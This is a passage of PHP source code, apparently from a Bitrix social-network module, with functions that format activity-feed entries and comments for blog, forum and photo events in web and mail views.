			$arResult["ENTITY"] = CSocNetLogTools::FormatEvent_GetEntity($arFields, $arParams, false);

		if ($bMail)
			$title_tmp = GetMessage("SONET_GL_EVENT_TITLE_".($arFields["ENTITY_TYPE"] == SONET_SUBSCRIBE_ENTITY_GROUP ? "GROUP" : "USER")."_BLOG_COMMENT_MICRO_MAIL");
		else
			$title_tmp = GetMessage("SONET_GL_EVENT_TITLE_BLOG_COMMENT_MICRO");

		if (
			!$bMail
			&& array_key_exists("URL", $arLog)
			&& strlen($arLog["URL"]) > 0
		)
			$post_tmp = '<a href="'.$arLog["URL"].'">'.$arLog["TITLE"].'</a>';
		else
			$post_tmp = $arLog["TITLE"];

		$title = str_replace(
			array("#TITLE#", "#ENTITY#", "#CREATED_BY#"),
			array($post_tmp, $arResult["ENTITY"]["FORMATTED"], ($bMail ? $arResult["CREATED_BY"]["FORMATTED"] : "")),
			$title_tmp
		);

		$arResult["EVENT_FORMATTED"] = array(
			"TITLE" => $title,
			"MESSAGE" => ($bMail ? $arFields["TEXT_MESSAGE"] : $arFields["MESSAGE"])
		);

		if ($bMail)
		{
			$url = CSocNetLogTools::FormatEvent_GetURL((strlen($arFields["URL"]) > 0 ? $arFields : $arLog));
			if (strlen($url) > 0)
				$arResult["EVENT_FORMATTED"]["URL"] = $url;
		}
		elseif ($arParams["NEW_TEMPLATE"] != "Y")
		{
			$parserLog = new logTextParser(false, $arParams["PATH_TO_SMILE"]);
			$arAllow = array(
				"HTML" => "Y", "ANCHOR" => "Y", "BIU" => "Y",
				"IMG" => "Y", "LOG_IMG" => "N",
				"QUOTE" => "Y", "LOG_QUOTE" => "N",
				"CODE" => "Y", "LOG_CODE" => "N",
				"FONT" => "Y", "LOG_FONT" => "N",
				"LIST" => "Y",
				"SMILES" => "Y",
				"NL2BR" => "Y",
				"MULTIPLE_BR" => "N",
				"VIDEO" => "Y", "LOG_VIDEO" => "N"
			);

			$arResult["EVENT_FORMATTED"]["SHORT_MESSAGE"] = $parserLog->html_cut(
				$parserLog->convert(htmlspecialcharsback($arResult["EVENT_FORMATTED"]["MESSAGE"]), array(), $arAllow),
				500
			);

			$arAllow = array("HTML" => "Y", "ANCHOR" => "Y", "BIU" => "Y", "IMG" => "Y", "QUOTE" => "Y", "CODE" => "Y", "FONT" => "Y", "LIST" => "Y", "SMILES" => "Y", "NL2BR" => "N", "VIDEO" => "Y", "LOG_VIDEO" => "N");
			$arResult["EVENT_FORMATTED"]["MESSAGE"] = htmlspecialcharsbx($parserLog->convert(htmlspecialcharsback($arResult["EVENT_FORMATTED"]["MESSAGE"]), array(), $arAllow));

			$arResult["EVENT_FORMATTED"]["IS_MESSAGE_SHORT"] = CSocNetLogTools::FormatEvent_IsMessageShort($arResult["EVENT_FORMATTED"]["MESSAGE"], $arResult["EVENT_FORMATTED"]["SHORT_MESSAGE"]);
		}

		if (
			$bMail
			&& strlen($arFields["MAIL_LANGUAGE_ID"]) > 0
		)
			IncludeModuleLangFile(__FILE__, LANGUAGE_ID);

		return $arResult;
	}

	public static function FormatEvent_Forum($arFields, $arParams, $bMail = false)
	{
		if (
			$bMail
			&& strlen($arFields["MAIL_LANGUAGE_ID"]) > 0
		)
		{
			IncludeModuleLangFile(__FILE__, $arFields["MAIL_LANGUAGE_ID"]);
		}

		$arResult = array(
			"EVENT" => $arFields,
			"CREATED_BY" => CSocNetLogTools::FormatEvent_GetCreatedBy($arFields, $arParams, $bMail),
			"ENTITY" => CSocNetLogTools::FormatEvent_GetEntity($arFields, $arParams, $bMail),
			"EVENT_FORMATTED" => array(),
		);

		if (!$bMail)
		{
			$arResult["AVATAR_SRC"] = CSocNetLogTools::FormatEvent_CreateAvatar($arFields, $arParams);
		}

		if ($arFields["PARAMS"] == "type=M")
		{
			$title_tmp = (
				$bMail
					? GetMessage("SONET_GL_EVENT_TITLE_".($arFields["ENTITY_TYPE"] == SONET_SUBSCRIBE_ENTITY_GROUP ? "GROUP" : "USER")."_FORUM_MESSAGE_MAIL")
					: GetMessage("SONET_GL_EVENT_TITLE_FORUM_MESSAGE")
			);
		}
		else
		{
			$title_tmp = (
				$bMail
					? GetMessage("SONET_GL_EVENT_TITLE_".($arFields["ENTITY_TYPE"] == SONET_SUBSCRIBE_ENTITY_GROUP ? "GROUP" : "USER")."_FORUM_TOPIC_MAIL")
					: GetMessage("SONET_GL_EVENT_TITLE_FORUM_TOPIC")
			);
		}

		$topic_tmp = (
			!$bMail
			&& array_key_exists("URL", $arFields)
			&& strlen($arFields["URL"]) > 0
				? '<a href="'.$arFields["URL"].'">'.$arFields["TITLE"].'</a>'
				: $arFields["TITLE"]
		);

		$title = str_replace(
			array("#TITLE#", "#ENTITY#", "#CREATED_BY#"),
			array($topic_tmp, $arResult["ENTITY"]["FORMATTED"], ($bMail ? $arResult["CREATED_BY"]["FORMATTED"] : "")),
			$title_tmp
		);

		static $parser = false;
		if (CModule::IncludeModule("forum"))
		{
			if (!$parser)
			{
				$parser = new forumTextParser(LANGUAGE_ID);
			}

			$parser->pathToUser = $arParams["PATH_TO_USER"];
			$parser->LAZYLOAD = (isset($arParams["LAZYLOAD"]) && $arParams["LAZYLOAD"] == "Y" ? "Y" : "N");
			$parser->bMobile = ($arParams["MOBILE"] == "Y");

			$arFields["FILES"] = CForumFiles::getByMessageID($arFields["SOURCE_ID"]);
		}

		$arResult["EVENT_FORMATTED"] = array(
			"TITLE" => $title,
			"TITLE_24" => GetMessage("SONET_GL_EVENT_TITLE_FORUM_TOPIC_24"),
			"TITLE_24_2" => $arFields["TITLE"],
			"MESSAGE" => ($bMail ? $arFields["TEXT_MESSAGE"] : $arFields["~MESSAGE"]),
			"FILES" => (!!$arFields["FILES"] ? array_keys($arFields["FILES"]) : array())
		);

		if (!$bMail)
		{
			static $parserLog = false;
			if ($arParams["MOBILE"] != "Y") 
			{
				if (!$parserLog)
				{
					$parserLog = new logTextParser(false, $arParams["PATH_TO_SMILE"]);
				}

				$arResult["EVENT_FORMATTED"]["SHORT_MESSAGE"] = $parserLog->html_cut(
					$parserLog->convert(
						str_replace("#CUT#", "", $arResult["EVENT_FORMATTED"]["MESSAGE"]),
						array(),
						array(
							"HTML" => "Y",
							"ALIGN" => "Y",
							"ANCHOR" => "Y", "BIU" => "Y",
							"IMG" => "Y", "LOG_IMG" => "N",
							"QUOTE" => "Y", "LOG_QUOTE" => "N",
							"CODE" => "Y", "LOG_CODE" => "N",
							"FONT" => "Y", "LOG_FONT" => "N",
							"LIST" => "Y", "SMILES" => "Y",
							"NL2BR" => "N", "MULTIPLE_BR" => "N",
							"VIDEO" => "Y", "LOG_VIDEO" => "N"
						)),
					1000
				);
			}

			$parser = (is_object($parser) ? $parser : (is_object($parserLog) ? $parserLog : new logTextParser(false, $arParams["PATH_TO_SMILE"])));
			if (get_class($parser) == "forumTextParser")
			{
				$parser->arUserfields = $arFields["UF"];
				$arResult["EVENT_FORMATTED"]["MESSAGE"] = $parser->convert(
					$arResult["EVENT_FORMATTED"]["MESSAGE"],
					array(
						"HTML" => "N",
						"ALIGN" => "Y",
						"ANCHOR" => "Y", "BIU" => "Y",
						"IMG" => "Y", "QUOTE" => "Y",
						"CODE" => "Y", "FONT" => "Y",
						"LIST" => "Y", "SMILES" => "Y",
						"NL2BR" => "Y", "MULTIPLE_BR" => "N",
						"VIDEO" => "Y", "LOG_VIDEO" => "N",
						"SHORT_ANCHOR" => "Y",
						"USERFIELDS" => $arFields["UF"]
					),
					"html",
					$arResult["EVENT_FORMATTED"]["FILES"]);
				$arResult["EVENT_FORMATTED"]["PARSED_FILES"] = $parser->arFilesParsed;
			}
			else
			{
				$arResult["EVENT_FORMATTED"]["MESSAGE"] = $parser->convert(
					$arResult["EVENT_FORMATTED"]["MESSAGE"],
					array(),
					array(
						"HTML" => "N",
						"ALIGN" => "Y",
						"ANCHOR" => "Y", "BIU" => "Y",
						"IMG" => "Y", "QUOTE" => "Y",
						"CODE" => "Y", "FONT" => "Y",
						"LIST" => "Y", "SMILES" => "Y",
						"NL2BR" => "Y", "MULTIPLE_BR" => "N",
						"VIDEO" => "Y", "LOG_VIDEO" => "N",
						"SHORT_ANCHOR" => "Y",
						"USERFIELDS" => $arFields["UF"]
					)
				);
			}

			$arResult["EVENT_FORMATTED"]["MESSAGE"] = str_replace(
				"#CUT#",
				'<br><a href="'.$arFields["URL"].'">'.GetMessage("SONET_GL_EVENT_BLOG_MORE").'</a>',
				htmlspecialcharsbx($arResult["EVENT_FORMATTED"]["MESSAGE"])
			);

			if ($arParams["MOBILE"] != "Y" && $arParams["NEW_TEMPLATE"] != "Y")
				$arResult["EVENT_FORMATTED"]["IS_MESSAGE_SHORT"] = CSocNetLogTools::FormatEvent_IsMessageShort(
					$arResult["EVENT_FORMATTED"]["MESSAGE"], $arResult["EVENT_FORMATTED"]["SHORT_MESSAGE"]);

			if ($arFields["ENTITY_TYPE"] == SONET_SUBSCRIBE_ENTITY_GROUP)
			{
				$arResult["EVENT_FORMATTED"]["DESTINATION"] = array(
					array(
						"STYLE" => "sonetgroups",
						"TITLE" => $arResult["ENTITY"]["FORMATTED"]["NAME"],
						"URL" => $arResult["ENTITY"]["FORMATTED"]["URL"],
						"IS_EXTRANET" => (is_array($GLOBALS["arExtranetGroupID"]) && in_array($arFields["ENTITY_ID"], $GLOBALS["arExtranetGroupID"]))
					)
				);
			}
		}
		else
		{
			$url = CSocNetLogTools::FormatEvent_GetURL($arFields);
			if (strlen($url) > 0)
				$arResult["EVENT_FORMATTED"]["URL"] = $url;
		}

		$arResult["HAS_COMMENTS"] = (intval($arFields["SOURCE_ID"]) > 0 ? "Y" : "N");

		if (
			$bMail
			&& strlen($arFields["MAIL_LANGUAGE_ID"]) > 0
		)
			IncludeModuleLangFile(__FILE__, LANGUAGE_ID);

		return $arResult;
	}

	function FormatComment_Forum($arFields, $arParams, $bMail = false, $arLog = array())
	{
		if (
			$bMail
			&& strlen($arFields["MAIL_LANGUAGE_ID"]) > 0
		)
		{
			IncludeModuleLangFile(__FILE__, $arFields["MAIL_LANGUAGE_ID"]);
		}

		$arResult = array(
			"EVENT_FORMATTED" => array(),
		);

		if ($bMail)
		{
			$arResult["CREATED_BY"] = CSocNetLogTools::FormatEvent_GetCreatedBy($arFields, $arParams, $bMail);
			$arResult["ENTITY"] = CSocNetLogTools::FormatEvent_GetEntity($arLog, $arParams, $bMail);
		}
		elseif($arParams["USE_COMMENT"] != "Y")
		{
			$arResult["ENTITY"] = CSocNetLogTools::FormatEvent_GetEntity($arFields, $arParams, false);
		}

		$title_tmp = (
			$bMail
				? GetMessage("SONET_GL_EVENT_TITLE_".($arFields["ENTITY_TYPE"] == SONET_SUBSCRIBE_ENTITY_GROUP ? "GROUP" : "USER")."_FORUM_MESSAGE_MAIL")
				: GetMessage("SONET_GL_EVENT_TITLE_FORUM_MESSAGE")
		);

		$topic_tmp = (
			!$bMail
			&& array_key_exists("URL", $arLog)
			&& strlen($arLog["URL"]) > 0
				? '<a href="'.$arLog["URL"].'">'.$arLog["TITLE"].'</a>'
				: $arLog["TITLE"]
		);

		$title = str_replace(
			array("#TITLE#", "#ENTITY#", "#CREATED_BY#"),
			array($topic_tmp, $arResult["ENTITY"]["FORMATTED"], ($bMail ? $arResult["CREATED_BY"]["FORMATTED"] : "")),
			$title_tmp
		);

		static $parser = false;
		if (CModule::IncludeModule("forum"))
		{
			if (!$parser)
			{
				$parser = new forumTextParser(LANGUAGE_ID);
			}

			$parser->pathToUser = $parser->userPath = $arParams["PATH_TO_USER"];
			$parser->bMobile = ($arParams["MOBILE"] == "Y");
			$parser->LAZYLOAD = (isset($arParams["LAZYLOAD"]) && $arParams["LAZYLOAD"] == "Y" ? "Y" : "N");

			$arFields["FILES"] = CForumFiles::GetByMessageID($arFields["SOURCE_ID"]);
		}

		$arResult["EVENT_FORMATTED"] = array(
			"TITLE" => $title,
			"MESSAGE" => ($bMail ? $arFields["TEXT_MESSAGE"] : htmlspecialcharsBack($arFields["MESSAGE"])),
			"FILES" => (!!$arFields["FILES"] ? array_keys($arFields["FILES"]) : array())
		);

		if (!$bMail)
		{
			if ($arParams["MOBILE"] != "Y") 
			{
				static $parserLog = false;
				if (!$parserLog)
				{
					$parserLog = new logTextParser(false, $arParams["PATH_TO_SMILE"]);
				}
				$arResult["EVENT_FORMATTED"]["SHORT_MESSAGE"] = $parserLog->html_cut(
					$parserLog->convert(
						$arResult["EVENT_FORMATTED"]["MESSAGE"],
						array(),
						array(
							"HTML" => "Y",
							"ALIGN" => "Y",
							"ANCHOR" => "Y", "BIU" => "Y",
							"IMG" => "Y", "LOG_IMG" => "N",
							"QUOTE" => "Y", "LOG_QUOTE" => "N",
							"CODE" => "Y", "LOG_CODE" => "N",
							"FONT" => "Y", "LOG_FONT" => "N",
							"LIST" => "Y", "SMILES" => "Y",
							"NL2BR" => "Y", "MULTIPLE_BR" => "N",
							"VIDEO" => "Y", "LOG_VIDEO" => "N",
							"USERFIELDS" => $arFields["UF"]
						)
					),
					500
				);
			}

			$parser = (is_object($parser) ? $parser : (is_object($parserLog) ? $parserLog : new logTextParser(false, $arParams["PATH_TO_SMILE"])));
			if (get_class($parser) == "forumTextParser")
			{
				$parser->arUserfields = $arFields["UF"];
				$arResult["EVENT_FORMATTED"]["MESSAGE"] = htmlspecialcharsbx($parser->convert(
					$arResult["EVENT_FORMATTED"]["MESSAGE"],
					array(
						"HTML" => "N",
						"ALIGN" => "Y",
						"ANCHOR" => "Y", "BIU" => "Y",
						"IMG" => "Y", "QUOTE" => "Y",
						"CODE" => "Y", "FONT" => "Y",
						"LIST" => "Y", "SMILES" => "Y",
						"NL2BR" => "Y", "VIDEO" => "Y",
						"LOG_VIDEO" => "N", "SHORT_ANCHOR" => "Y",
						"USERFIELDS" => $arFields["UF"],
						"USER" => "Y",
						"TAG" => "Y"
					),
					"html",
					$arResult["EVENT_FORMATTED"]["FILES"]
				));
				$arResult["EVENT_FORMATTED"]["PARSED_FILES"] = $parser->arFilesIDParsed;
			}
			else
			{
				$arResult["EVENT_FORMATTED"]["MESSAGE"] = htmlspecialcharsbx($parser->convert(
					$arResult["EVENT_FORMATTED"]["MESSAGE"],
					array(),
					array(
						"HTML" => "N",
						"ALIGN" => "Y",
						"ANCHOR" => "Y", "BIU" => "Y",
						"IMG" => "Y", "QUOTE" => "Y",
						"CODE" => "Y", "FONT" => "Y",
						"LIST" => "Y", "SMILES" => "Y",
						"NL2BR" => "Y", "VIDEO" => "Y",
						"LOG_VIDEO" => "N", "SHORT_ANCHOR" => "Y",
						"USERFIELDS" => $arFields["UF"],
						"TAG" => "Y"
					)
				));
			}

			if ($arParams["MOBILE"] != "Y" && $arParams["NEW_TEMPLATE"] != "Y")
			{
				$arResult["EVENT_FORMATTED"]["IS_MESSAGE_SHORT"] = CSocNetLogTools::FormatEvent_IsMessageShort($arResult["EVENT_FORMATTED"]["MESSAGE"], $arResult["EVENT_FORMATTED"]["SHORT_MESSAGE"]);
			}
		}
		else
		{
			if (strlen($arFields["URL"]) > 0)
			{
				$url = $arFields["URL"];
			}
			elseif (
				strlen($arLog["PARAMS"]) > 0
				&& unserialize($arLog["PARAMS"])
			)
			{
				$arTmp = unserialize($arLog["PARAMS"]);
				if (
					array_key_exists("PATH_TO_MESSAGE", $arTmp)
					&& strlen($arTmp["PATH_TO_MESSAGE"]) > 0
				)
				{
					$url = CComponentEngine::MakePathFromTemplate($arTmp["PATH_TO_MESSAGE"], array("MID" => $arFields["SOURCE_ID"]));
				}
			}

			$url = (
				strlen($url) > 0
					? CSocNetLogTools::FormatEvent_GetURL(array("ID" => $arLog["ID"], "URL" => $url))
					: CSocNetLogTools::FormatEvent_GetURL($arLog)
			);

			if (strlen($url) > 0)
			{
				$arResult["EVENT_FORMATTED"]["URL"] = $url;
			}
		}

		if (
			$bMail
			&& strlen($arFields["MAIL_LANGUAGE_ID"]) > 0
		)
		{
			IncludeModuleLangFile(__FILE__, LANGUAGE_ID);
		}

		return $arResult;
	}

	public static function FormatEvent_Photo($arFields, $arParams, $bMail = false)
	{
		static $arAlbumName = array();

		if (
			$bMail
			&& strlen($arFields["MAIL_LANGUAGE_ID"]) > 0
		)
			IncludeModuleLangFile(__FILE__, $arFields["MAIL_LANGUAGE_ID"]);

		$arResult = array(
			"EVENT" => $arFields,
			"CREATED_BY" => CSocNetLogTools::FormatEvent_GetCreatedBy($arFields, $arParams, $bMail),
			"ENTITY" => CSocNetLogTools::FormatEvent_GetEntity($arFields, $arParams, $bMail),
			"EVENT_FORMATTED" => array(),
		);

		if (!$bMail)
			$arResult["AVATAR_SRC"] = CSocNetLogTools::FormatEvent_CreateAvatar($arFields, $arParams);

		$count = false;
		if (strlen($arFields["PARAMS"]) > 0)
		{
			$arTmp = unserialize(htmlspecialcharsback($arFields["PARAMS"]));
			if ($arTmp)
				$count = $arTmp["COUNT"];
			else
			{
				$arFieldsParams = explode("&", $arFields["PARAMS"]);
				if (is_array($arFieldsParams) && count($arFieldsParams) > 0)
				{
					foreach ($arFieldsParams as $tmp)
					{
						list($key, $value) = explode("=", $tmp);
						if ($key == "count")
						{
							$count = $value;
							break;
						}
					}
				}
			}
		}

		if (!$count)
			$count_tmp = "";
		else
			$count_tmp = intval($count);

		$album_default = GetMessage("SONET_GL_EVENT_TITLE_PHOTO_ALBUM");
		$album_default_24 = GetMessage("SONET_GL_EVENT_TITLE_PHOTO_ALBUM_24");
		$album_default_24_mobile = GetMessage("SONET_GL_EVENT_TITLE_PHOTO_ALBUM_24_MOBILE");

		$section_name = false;
		if (
			intval($arFields["SOURCE_ID"]) > 0
			&& CModule::IncludeModule('iblock')
		)
		{
			if (array_key_exists($arFields["SOURCE_ID"], $arAlbumName))
				$section_name = $arAlbumName[$arFields["SOURCE_ID"]];
			else
			{
				$rsSection = CIBlockSection::GetByID($arFields["SOURCE_ID"]);
				if ($arSection = $rsSection->GetNext())
				{
					$section_name = $arSection["NAME"];
					$arAlbumName[$arFields["SOURCE_ID"]] = $arSection["NAME"];

					if(defined("BX_COMP_MANAGED_CACHE"))
						$GLOBALS["CACHE_MANAGER"]->RegisterTag("iblock_id_".$arSection["IBLOCK_ID"]);
				}
			}
		}

		if (
			!$bMail
			&& array_key_exists("URL", $arFields)
			&& strlen($arFields["URL"]) > 0
		)
		{
			$album_tmp = ($section_name ? $album_default.' <a href="'.$arFields["URL"].'">'.$section_name.'</a>' : '<a href="'.$arFields["URL"].'">'.$album_default.'</a>');
			$album_tmp_24 = ($section_name ? $album_default_24.': <a href="'.$arFields["URL"].'">'.$section_name.'</a>' : '<a href="'.$arFields["URL"].'">'.$album_default_24.'</a>');
			$album_tmp_24_mobile = ($section_name ? $album_default_24_mobile.': '.$section_name : $album_default_24_mobile);
		}
		else
			$album_tmp = ($section_name ? $album_default.' '.$section_name : $album_default);

		if ($bMail)
			$title_tmp = GetMessage("SONET_GL_EVENT_TITLE_".($arFields["ENTITY_TYPE"] == SONET_SUBSCRIBE_ENTITY_GROUP ? "GROUP" : "USER")."_PHOTO_MAIL");
		elseif ($arParams["MOBILE"] == "Y")
			$title_tmp_24 = GetMessage("SONET_GL_EVENT_TITLE_PHOTO_24_MOBILE");
		else
		{
			$title_tmp = GetMessage("SONET_GL_EVENT_TITLE_PHOTO");
			switch ($arFields["CREATED_BY_PERSONAL_GENDER"])
			{
				case "M":
					$suffix = "_M";
					break;
				case "F":
					$suffix = "_F";
					break;
				default:
					$suffix = "";
			}
			$title_tmp_24 = GetMessage("SONET_GL_EVENT_TITLE_PHOTO_24".$suffix);
		}

		$title = str_replace(
			array("#ALBUM#", "#COUNT#", "#ENTITY#", "#CREATED_BY#"),
			array($album_tmp, $count_tmp, $arResult["ENTITY"]["FORMATTED"], ($bMail ? $arResult["CREATED_BY"]["FORMATTED"] : "")),
			$title_tmp
		);

		if (!$bMail)
			$title_24 = str_replace(
				array("#ALBUM#", "#COUNT#", "#ENTITY#", "#CREATED_BY#"),
				array(($arParams["MOBILE"] == "Y" ? $album_tmp_24_mobile : $album_tmp_24), $count_tmp, $arResult["ENTITY"]["FORMATTED"], ($bMail ? $arResult["CREATED_BY"]["FORMATTED"] : "")),
				$title_tmp_24
			);

		if ($arParams["MOBILE"] == "Y")
			$arResult["EVENT_FORMATTED"] = array(
				"TITLE_24" => $title_24,
				"MESSAGE" => "",
			);
		else
			$arResult["EVENT_FORMATTED"] = array(
				"TITLE" => $title,
				"TITLE_24" => $title_24,
				"MESSAGE" => "",
				"IS_MESSAGE_SHORT" => true
			);

		if ($bMail)
		{
			$url = CSocNetLogTools::FormatEvent_GetURL($arFields);
			if (strlen($url) > 0)
				$arResult["EVENT_FORMATTED"]["URL"] = $url;
		}
		else
		{
			$dbRight = CSocNetLogRights::GetList(array(), array("LOG_ID" => $arFields["ID"]));
			while ($arRight = $dbRight->Fetch())
			{
				$arRights[] = $arRight["GROUP_CODE"];
			}

			$arResult["EVENT_FORMATTED"]["DESTINATION"] = CSocNetLogTools::FormatDestinationFromRights($arRights, array_merge($arParams, array("CREATED_BY" => $arFields["USER_ID"])), $iMoreCount);
			if (intval($iMoreCount) > 0)
			{
				$arResult["EVENT_FORMATTED"]["DESTINATION_MORE"] = $iMoreCount;
			}
		}

		if (
			$bMail
			&& strlen($arFields["MAIL_LANGUAGE_ID"]) > 0
		)
			IncludeModuleLangFile(__FILE__, LANGUAGE_ID);

		return $arResult;
	}

	function FormatEvent_PhotoPhoto($arFields, $arParams, $bMail = false)
	{
		if (
			$bMail
			&& strlen($arFields["MAIL_LANGUAGE_ID"]) > 0
		)
			IncludeModuleLangFile(__FILE__, $arFields["MAIL_LANGUAGE_ID"]);

		$arResult = array(
			"EVENT" => $arFields,
			"CREATED_BY" => CSocNetLogTools::FormatEvent_GetCreatedBy($arFields, $arParams, $bMail),
			"ENTITY" => CSocNetLogTools::FormatEvent_GetEntity($arFields, $arParams, $bMail),
			"EVENT_FORMATTED" => array(),
		);

		$arResult["AVATAR_SRC"] = CSocNetLogTools::FormatEvent_CreateAvatar($arFields, $arParams);

		$album_tmp = GetMessage("SONET_GL_EVENT_TITLE_PHOTO_ALBUM");
		if (strlen($arFields["PARAMS"]) > 0)
		{
			$arTmp = unserialize(htmlspecialcharsback($arFields["PARAMS"]));
			if ($arTmp && array_key_exists("SECTION_NAME", $arTmp))
			{
				if (
					!$bMail
					&& array_key_exists("SECTION_URL", $arTmp)
					&& strlen($arTmp["SECTION_URL"]) > 0
				)
				{
					if (
						$arFields["ENTITY_TYPE"] == SONET_ENTITY_GROUP 
						&& (
							IsModuleInstalled("extranet")
							|| (strpos($arTmp["SECTION_URL"], "#GROUPS_PATH#") !== false)
						)
					)
					{
						$arTmp["SECTION_URL"] = str_replace("#GROUPS_PATH#", COption::GetOptionString("socialnetwork", "workgroups_page", "/workgroups/", SITE_ID), $arTmp["SECTION_URL"]);
					}
					if ($arParams["MOBILE"] == "Y")
					{
						$album_tmp .= ' '.htmlspecialcharsbx($arTmp["SECTION_NAME"]);
					}
					else
					{
						$album_tmp .= ' <a href="'.$arTmp["SECTION_URL"].'">'.htmlspecialcharsbx($arTmp["SECTION_NAME"]).'</a>';
					}
				}
				else
					$album_tmp .= ' '.htmlspecialcharsbx($arTmp["SECTION_NAME"]);
			}
		}

		$title = str_replace(
			array("#ALBUM#", "#ENTITY#", "#CREATED_BY#"),
			array($album_tmp, $arResult["ENTITY"]["FORMATTED"], ($bMail ? $arResult["CREATED_BY"]["FORMATTED"] : "")),
			($arParams["MOBILE"] == "Y" ? GetMessage("SONET_GL_EVENT_TITLE_PHOTOPHOTO_MOBILE") : GetMessage("SONET_GL_EVENT_TITLE_PHOTOPHOTO"))
		);

		if ($arParams["MOBILE"] == "Y")
			$arResult["EVENT_FORMATTED"] = array(
				"TITLE" => $title,
				"MESSAGE" => "",
			);
		else
			$arResult["EVENT_FORMATTED"] = array(
				"TITLE" => $title,
				"MESSAGE" => $arFields["MESSAGE"],
				"IS_MESSAGE_SHORT" => "Y"
			);

		if (!$bMail)
		{
			$dbRight = CSocNetLogRights::GetList(array(), array("LOG_ID" => $arFields["ID"]));
			while ($arRight = $dbRight->Fetch())
			{
				$arRights[] = $arRight["GROUP_CODE"];
			}

			$arResult["EVENT_FORMATTED"]["DESTINATION"] = CSocNetLogTools::FormatDestinationFromRights($arRights, array_merge($arParams, array("CREATED_BY" => $arFields["USER_ID"])), $iMoreCount);
			if (intval($iMoreCount) > 0)
			{
				$arResult["EVENT_FORMATTED"]["DESTINATION_MORE"] = $iMoreCount;
			}
		}

		if (
			$bMail
			&& strlen($arFields["MAIL_LANGUAGE_ID"]) > 0
		)
			IncludeModuleLangFile(__FILE__, LANGUAGE_ID);

		return $arResult;
	}

	function FormatComment_Photo($arFields, $arParams, $bMail = false, $arLog = array())
	{
		if (
			$bMail
			&& strlen($arFields["MAIL_LANGUAGE_ID"]) > 0
		)
			IncludeModuleLangFile(__FILE__, $arFields["MAIL_LANGUAGE_ID"]);

		$arResult = array(
				"EVENT_FORMATTED"	=> array(),
			);

		if ($bMail)
		{
			$arResult["CREATED_BY"] = CSocNetLogTools::FormatEvent_GetCreatedBy($arFields, $arParams, $bMail);
			$arResult["ENTITY"] = CSocNetLogTools::FormatEvent_GetEntity($arLog, $arParams, $bMail);
		}
		elseif($arParams["USE_COMMENT"] != "Y")
			$arResult["ENTITY"] = CSocNetLogTools::FormatEvent_GetEntity($arFields, $arParams, false);

		if (
			!$bMail
			&& array_key_exists("URL", $arLog)
			&& strlen($arLog["URL"]) > 0
		)
			$photo_tmp = '<a href="'.$arLog["URL"].'">'.$arLog["TITLE"].'</a>';
		else
			$photo_tmp = $arLog["TITLE"];

		if ($bMail)
			$title_tmp = GetMessage("SONET_GL_EVENT_TITLE_".($arFields["ENTITY_TYPE"] == SONET_SUBSCRIBE_ENTITY_GROUP ? "GROUP" : "USER")."_PHOTO_COMMENT_MAIL");
		else
			$title_tmp = GetMessage("SONET_GL_EVENT_TITLE_PHOTO_COMMENT");

		$album_name = "";
		if (
			array_key_exists("PARAMS", $arLog)
			&& strlen($arLog["PARAMS"]) > 0
		)
		{
			$arTmp = unserialize($arLog["PARAMS"]);
			if ($arTmp && array_key_exists("SECTION_NAME", $arTmp))
				$album_name = $arTmp["SECTION_NAME"];
		}

		if ($bMail)
			$title_tmp = GetMessage("SONET_GL_EVENT_TITLE_".($arFields["ENTITY_TYPE"] == SONET_SUBSCRIBE_ENTITY_GROUP ? "GROUP" : "USER")."_PHOTO_COMMENT_MAIL");
		else
			$title_tmp = GetMessage("SONET_GL_EVENT_TITLE_PHOTO_COMMENT");

		$title = str_replace(
			array("#TITLE#", "#ENTITY#", "#CREATED_BY#", "#ALBUM#"),
			array($photo_tmp, $arResult["ENTITY"]["FORMATTED"], ($bMail ? $arResult["CREATED_BY"]["FORMATTED"] : ""), $album_name),
			$title_tmp
		);

		$arResult["EVENT_FORMATTED"] = array(
			"TITLE" => ($bMail || $arParams["USE_COMMENT"] != "Y" ? $title : ""),
			"MESSAGE" => ($bMail ? $arFields["TEXT_MESSAGE"] : $arFields["MESSAGE"])
		);

		if ($bMail)
		{
			$url = CSocNetLogTools::FormatEvent_GetURL($arLog);
			if (strlen($url) > 0)
				$arResult["EVENT_FORMATTED"]["URL"] = $url;
		}
		else
		{
			static $parserLog = false;
			if (CModule::IncludeModule("forum"))
			{
				$arAllow = array(
					"HTML" => "Y", "ANCHOR" => "Y", "BIU" => "Y",
					"IMG" => "Y", "LOG_IMG" => "N",
					"QUOTE" => "Y", "LOG_QUOTE" => "N",
					"CODE" => "Y", "LOG_CODE" => "N",
					"FONT" => "Y", "LOG_FONT" => "N",
					"LIST" => "Y",
					"SMILES" => "Y",
					"NL2BR" => "Y",
					"MULTIPLE_BR" => "N",
					"VIDEO" => "Y", "LOG_VIDEO" => "N",
					"USERFIELDS" => $arFields["UF"],
					"USER" => ($arParams["IM"] == "Y" ? "N" : "Y")
				);

				if (!$parserLog)
					$parserLog = new forumTextParser(LANGUAGE_ID);

				$parserLog->arUserfields = $arFields["UF"];
				$parserLog->pathToUser = $parserLog->userPath = $arParams["PATH_TO_USER"];
				$parserLog->bMobile = ($arParams["MOBILE"] == "Y");
				$arResult["EVENT_FORMATTED"]["MESSAGE"] = htmlspecialcharsbx($parserLog->convert(htmlspecialcharsback($arResult["EVENT_FORMATTED"]["MESSAGE"]), $arAllow));
				$arResult["EVENT_FORMATTED"]["MESSAGE"] = preg_replace("/\[user\s*=\s*([^\]]*)\](.+?)\[\/user\]/is".BX_UTF_PCRE_MODIFIER, "\\2", $arResult["EVENT_FORMATTED"]["MESSAGE"]);
			}
			else
			{
				$arAllow = array(
					"HTML" => "Y", "ANCHOR" => "Y", "BIU" => "Y",
					"IMG" => "Y", "LOG_IMG" => "N",
					"QUOTE" => "Y", "LOG_QUOTE" => "N",
					"CODE" => "Y", "LOG_CODE" => "N",
					"FONT" => "Y", "LOG_FONT" => "N",
					"LIST" => "Y",
					"SMILES" => "Y",
					"NL2BR" => "Y",
					"MULTIPLE_BR" => "N",
					"VIDEO" => "Y", "LOG_VIDEO" => "N"
				);

				if (!$parserLog)
					$parserLog = new logTextParser(false, $arParams["PATH_TO_SMILE"]);

				$arResult["EVENT_FORMATTED"]["MESSAGE"] = htmlspecialcharsbx($parserLog->convert(htmlspecialcharsback($arResult["EVENT_FORMATTED"]["MESSAGE"]), array(), $arAllow));
			}

			if (
				$arParams["MOBILE"] != "Y" 
				&& $arParams["NEW_TEMPLATE"] != "Y"
			)
			{
				if (CModule::IncludeModule("forum"))
					$arResult["EVENT_FORMATTED"]["SHORT_MESSAGE"] = $parserLog->html_cut(
						$parserLog->convert(htmlspecialcharsback($arResult["EVENT_FORMATTED"]["MESSAGE"]), $arAllow),
